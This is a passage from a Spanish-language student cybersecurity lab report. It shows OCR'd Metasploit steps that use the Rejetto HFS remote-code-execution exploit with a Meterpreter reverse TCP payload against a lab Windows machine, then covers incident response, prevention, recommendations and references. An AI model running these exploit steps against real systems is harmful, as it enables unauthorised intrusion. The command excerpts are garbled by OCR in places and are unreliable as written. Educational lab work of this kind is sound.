C:\>cd Users
cd Users

C:\Users>cd semi

cd semi

C:\Users\semi>dir

dir
El volumen de la unidad C no tiene etiqueta.
El nemero de serie del volumen es: 6463-58CD

Directorio de C:\Users\semi

27/06/2020 12:09 a.m. <DIR>
27/06/2020 12:09 a.m. <DIR> =
27/06/2020 12:06 a.m. 6.656 winse20w0.exe

1 archivos 6.656 bytes
2 dirs 40.057.835.520 bytes libres

C:\Users\semi>start winse20w0.exe
start winse20w0.exe

Nota. Se ejecutd la aplicacion .exe ubicada en el directorio del usuario "semi" desde la maquina

Kali Linux.

Toma de control de la maquina con la explotacién de la vulnerabilidad Rejetto hfs.
Figura 21.

Utilizamos el Comando Search para la Vulnerabilidad Rejetto Hfs.

msf6 > search rejetto hfs

Matching Modules

Name Disclosure Date Rank Check Description

exploit/windows/http/Pejetta_RfS rce_cve 2024 23692 2024-05-25 excellent Yes REJEEEG HTTP File Server (HES) Unauthenticated Remote Code Execution
exploit/windows/http/pejetto_hfs exec 2014-09-11 [ 11 Yes Rejetto HttpFileServer Remote Command Execution

Interact with a module by name or index. For example info 1, use r use exploit/w ws/http/rejett

Nota. Se procede a ocupar el exploit de la vulnerabilidad rejetto.



Figura 22.

Seleccionamos la Opcidn RejettoHfs_Exe.

msf6 > use 1
No payload configured, defaulting to windows/meterpreter/reverse_tcp

msf6 exploit( ) > 1

Nota. Ocupamos el exploit Rejetto para su posterior configuracion.
Figura 23.

Configuracién de los Parametros Exploit. Ip Destino y Ejecucion Exploit “Run”.

) » set rhost 192.168.1.81

-05-03 19:11:46 -0400

Nota. Proceso de la ejecucion del exploit.
Figura 24.

Interaccion con la maquina Windows mediante la vulnerabilidad rejetto hfs.

dos todos leos derechos.

rs\usuario\Downloads

<DIR>
<DIR>
<DIR>
<DIR>
.zip

3456.z2ip

Nota. Interaccion con los ficheros y documentos de la maquina atacada.
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De acuerdo con la figura 24 se observa que ahora tenemos control de la maquina atacada

y podemos visualizar todos los documentos de las diferentes carpetas del sistema operativo.

Repuesta ante un ataque informatico.

Cuando se identifica un posible ataque en la red, la respuesta inmediata consiste en
verificar la alerta y analizar su origen y gravedad, considerando fuentes como sistemas IDS, IPS,
EDR o firewalls. Si la amenaza es confirmada, se procede a su contencidn, aislando los
dispositivos afectados y bloqueando el trafico malicioso mediante herramientas de seguridad. Al
mismo tiempo, se deben recopilar evidencias digitales tanto volatiles como persistentes para su
analisis forense, y notificar al equipo especializado en respuesta a incidentes (CSIRT).
¢ Como podemos prevenir el ataque identificado y otros futuros ataques?

Para prevenir ataques similares a EternalBlue, se recomienda aplicar el parche MS17-010
y desactivar el protocolo SMBvV1, promoviendo el uso de versiones mas seguras. Ademas, se
deben implementar buenas practicas como la segmentacién de red, auditorias regulares, control
de accesos basado en el principio de minimo privilegio, y monitoreo continuo con soluciones
IDS/IPS y SIEM. Es esencial distinguir entre el Blue Team, que se dedica a la defensa proactiva,
y el equipo de respuesta a incidentes, que actla cuando ya se ha producido un evento. Al trabajar
con el CIS (Center for Internet Security), el Blue Team puede apoyarse en sus marcos y
estandares para fortalecer la seguridad mediante configuraciones seguras y gestion de
vulnerabilidades. Herramientas como SIEM facilitan la recoleccion y analisis de datos en tiempo
real, mejorando la deteccion, respuesta y cumplimiento normativo. En cuanto a la contencion de
ataques, se destacan tecnologias como firewalls de proxima generacion (NGFW), sistemas de

aislamiento de endpoints integrados en EDR, y plataformas IDS/IPS como Snort, Suricata, Cisco



Secure IPS 0 Wazuh, que permiten una deteccidn y mitigacion eficaz de amenazas en tiempo

real.
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Conclusiones

La ciberseguridad no debe entenderse Gnicamente como un conjunto de herramientas
tecnoldgicas, sino como un campo estratégico y transversal que requiere conocimiento,
conciencia y compromiso a todos los niveles de la organizacion. Desde este enfoque, se concluye
que la construccién del conocimiento en ciberseguridad implica desarrollar una comprension
profunda sobre las amenazas actuales, las vulnerabilidades inherentes a los sistemas y el factor
humano como vector critico de riesgo. La integracidn de buenas practicas, marcos hormativos y
cultura de seguridad fomenta entornos digitales resilientes y éticamente responsables. Promover
la formacion continua, el analisis critico de incidentes y la adopcion de medidas preventivas
fortalece no solo la capacidad técnica, sino también la toma de decisiones informadas,
contribuyendo a una postura de seguridad madura y sostenible. Solo mediante la educacién
constante y el aprendizaje organizacional se puede enfrentar con eficacia un entorno digital cada

vez mas complejo y desafiante.
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Recomendaciones

Para fortalecer la seguridad informatica en una organizacion, se recomienda una
estrategia integral enfocada en tres frentes clave: ataques cibernéticos, vulnerabilidades técnicas
e ingenieria social. En cuanto a los ataques cibernéticos (como malware, ransomware 0 DDoS),
es fundamental implementar una defensa en profundidad que combine multiples capas de
proteccion (firewalls, EDR, IDS/IPS y WAF), respaldada por soluciones SIEM que permitan la
deteccidn temprana de anomalias y la correlacion de eventos. Ademas, debe establecerse un plan
de respuesta a incidentes (IRP) probado mediante simulacros, segmentar la red para limitar el
impacto de intrusiones y mantener copias de seguridad frecuentes, seguras y con acceso
restringido. Respecto a las vulnerabilidades técnicas, se sugiere establecer un programa de
gestion de vulnerabilidades con escaneos regulares, automatizar parches y actualizaciones,
aplicar el principio de minimo privilegio, fortalecer las configuraciones siguiendo estandares
como los CIS Benchmarks, y realizar pruebas de penetracion periddicas. En lo relacionado con la
ingenieria social, es crucial implementar programas continuos de formacion en ciberseguridad,
realizar simulacros de phishing, establecer canales seguros de verificacion de identidad, habilitar
autenticacion multifactor (MFA) para accesos criticos y fomentar una cultura de reporte interno.
Todas estas medidas deben integrarse dentro de un marco de gestion de seguridad como ISO/IEC
27001, y actualizarse regularmente con base en el contexto organizacional, la evolucion

tecnoldgica y las amenazas emergentes.



38

Referencias Bibliograficas

CVE Details. (2011). CVE-2011-3192: Apache HTTPD Range Header DoS. CVE Details.
https://www.cvedetails.com/cve/CVE-2011-3192/

CVE Details. (2007). CVE-2007-6750: Apache HTTP Server ap_get_basic_auth_pw
Authentication Bypass Vulnerability. CVE Details.
https://www.cvedetails.com/cve/CVE-2007-6750/

Congreso de Colombia. (2009). Ley 1273 de 2009: Por medio de la cual se modifica el Cddigo
Penal, se crea un nuevo bien juridico tutelado - la informacion y los datos.
https://www.funcionpublica.gov.co/eva/gestornormativo/norma.php?i=34492

Congreso de Colombia. (2012). Ley 1581 de 2012: Por la cual se dictan disposiciones generales
para la proteccion de datos personales.
https://www.funcionpublica.gov.co/eva/gestornormativo/norma.php?i=49981

Congreso de Colombia. (2008). Ley 1266 de 2008: Por la cual se dictan las disposiciones
generales del habeas data y se regula el manejo de la informacion contenida en bases de
datos personales, en especial la financiera, crediticia, comercial, de servicios y la
proveniente de terceros paises y se dictan otras disposiciones.
https://www.funcionpublica.gov.co/eva/gestornormativo/norma.php?i=34488

Metasploit. (2025). Metasploit Framework. https://www.metasploit.com/

Microsoft. (2017). Microsoft Security Bulletin MS17-010-Critical.https://docs.microsoft.com/en-
us/security-updates/securitybulletins/2017/ms17-010

MITRE. (2012). CVE-2012-1182 Detail. Common Vulnerabilities and Exposures.
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-1182

NMAP Network Scanning. (2024). Nmap: The Network Mapper. https://nmap.org/


https://www.cvedetails.com/cve/CVE-2011-3192/
https://www.cvedetails.com/cve/CVE-2007-6750/
https://www.funcionpublica.gov.co/eva/gestornormativo/norma.php?i=34492
https://www.funcionpublica.gov.co/eva/gestornormativo/norma.php?i=49981
https://www.funcionpublica.gov.co/eva/gestornormativo/norma.php?i=34488
https://www.metasploit.com/
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-1182
https://nmap.org/

Presidencia de la Republica de Colombia. (2013). Decreto 1377 de 2013: Por el cual se
reglamenta parcialmente la Ley 1581 de 2012, sobre proteccion de datos personales.

https://www.funcionpublica.gov.co/eva/gestornormativo/norma.php?i=53646

39


https://www.funcionpublica.gov.co/eva/gestornormativo/norma.php?i=53646

40

Apéndices
Apéndice A.
Enlace del Video de la Sustentacién

https://unadvirtualedu-

my.sharepoint.com/:f:/g/personal/jccastillo unadvirtual edu co/Evg3EnXJNitHrOktk8b9G wBF

ehdEuwUFdBDODAyY2kxWDQ?e=M4elp2
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